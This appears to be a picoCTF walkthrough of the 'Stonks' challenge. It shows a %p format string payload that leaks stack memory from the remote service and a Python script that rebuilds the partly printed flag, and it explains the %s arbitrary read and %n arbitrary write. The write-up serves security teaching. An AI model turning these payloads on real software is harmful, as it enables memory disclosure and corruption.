Description
I bet you can't read my API token. nc mercury.picoctf.net 33411
Setup
Connect via netcat to interact with the stock market application.
nc mercury.picoctf.net 33411Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Trigger the format string vulnerability
ObservationThe program takes a user-supplied API token and echoes it back. That token is going straight into printf with no format specifier, which is a format string vulnerability that %p can exploit.Select option 1 (Buy some stonks). When prompted for an API token, enter a format string composed of %p specifiers separated by dots. %p prints the next stack value as a pointer (hex). Enter 16 or more %p specifiers to walk up the stack and leak flag bytes.bashnc mercury.picoctf.net 33411bash# When prompted for API token, enter:bash%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%pExpected output
picoCTF{I_l05t_4ll_my_m0n3y_...}What didn't work first
Tried: Send %s specifiers instead of %p to try to read flag bytes as strings.
%s makes printf treat the stack value as a pointer and print the string at that address. Slots holding raw integers or small addresses point nowhere valid, so the remote process segfaults or returns garbage. %p prints the slot as a hex integer without dereferencing, which shows the raw bytes the flag was packed into.
Tried: Enter the format string for option 2 (portfolio view) instead of option 1 (buy stonks).
Only the buy-stonks path passes the API token straight into printf without a format specifier. The portfolio view uses a different print path and never reaches the vulnerable call, so nothing leaks. Choose option 1 and supply the format string as the API token.
Learn more
A format string vulnerability occurs when user input is passed directly as the format string argument to
printf()or similar functions. Whenprintf(user_input)is called instead ofprintf("%s", user_input), the format specifiers in user_input are interpreted by printf, giving the attacker access to the stack.How printf walks its variadic args (32-bit i386 calling convention). The format string itself is at
[esp]. Each%pconsumes the next stack slot, advancing four bytes:vuln() stack at printf(user_input): [esp+0x00] -> &user_input (the format string itself) [esp+0x04] -> stack arg 1 <- %p / %1$p [esp+0x08] -> stack arg 2 <- %p / %2$p ... [esp+0x40] -> flag[0..3] <- "pico" as 0x6f636970 [esp+0x44] -> flag[4..7] <- "CTF{" as 0x7b465443 [esp+0x48] -> flag[8..11] <- ... [esp+0x4c] -> flag[12..15] ...Each 4-byte stack slot containing flag bytes prints as a little-endian hex value. The string "pico" (bytes
70 69 63 6f) appears in printf output as0x6f636970because the lowest-address byte (p) sits in the lowest 8 bits of the integer.Position arguments (
%n$p). Once you know the flag starts at stack-arg position 16, you can skip the early garbage with%16$p.%17$p.%18$p.... printf jumps directly to that index without consuming the earlier ones. This is essential for crafting compact format strings under length limits.Other useful specifiers: %s dereferences a pointer and prints the string at that address (arbitrary read), %n writes the number of bytes printed so far to
*ptr(arbitrary write), %hhn/%hn for byte/short writes.Step 2Parse the leaked hex values to reconstruct the flag
ObservationThe %p output holds values like 0x6f636970 and 0x7b465443, which are the ASCII bytes for 'pico' and 'CTF{' stored little-endian. Reverse the byte order inside each 32-bit word and filter for printable ASCII to reassemble the flag.Collect the %p output values. Each value is a 4-byte (32-bit) little-endian integer. Reverse the byte order within each value and convert to ASCII characters, filtering for printable characters. Concatenate to reconstruct the flag string.pythonpython3 << 'EOF' # Replace with your actual %p output values leak = "0x8.0x804b0e0.0x804b0c0.0x6f636970.0x7b465443.0x6c5f3449.0x306d5f35.0x795f336e.0x6165685f.0x33355f70.0x63343836.0x65346230.0x7d393738.0xa.None.None" parts = [p for p in leak.split('.') if p and p != 'None' and p.startswith('0x')] flag = '' for p in parts: val = int(p, 16) # Extract 4 bytes in little-endian order for i in range(4): byte = (val >> (8 * i)) & 0xff if 32 <= byte <= 126: flag += chr(byte) print(flag) EOFWhat didn't work first
Tried: Print each leaked hex word in big-endian order (most significant byte first) to get the ASCII characters.
x86 is little-endian, so the lowest-address byte of each 4-byte word sits in the integer's lowest 8 bits. Read them big-endian and every group of four comes out reversed, giving garbled text instead of picoCTF{. Extract byte i by shifting right 8 times i and masking, which walks from lowest address to highest.
Tried: Include 'None' and '0x8' non-flag entries in the ASCII conversion loop without filtering.
The early stack slots hold small integers, null bytes, or None values where printf emitted '(nil)'. Include them and control characters and numeric garbage land in front of the flag. Keep only entries starting with 0x, then strip bytes outside the printable range 32 to 126.
Learn more
The flag is stored on the stack as a C string - a sequence of bytes in memory. Since x86 is little-endian, the bytes within each 4-byte word appear in reversed order when printed as a 32-bit integer. For example, the bytes for "pico" (0x70, 0x69, 0x63, 0x6f) appear as the hex value
0x6f636970because the lowest address byte is placed in the lowest bits.Reversing this requires extracting each byte from the integer using bit shifts and masking:
(val >> (8 * i)) & 0xfffor i = 0, 1, 2, 3. Filtering for printable ASCII (32-126) removes null bytes and non-printable characters from the output.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{I_l05t_4ll_my_m0n3y_...}
Format string vulnerability leaking the flag from the stack via %p specifiers on the 'buy stonks' code path.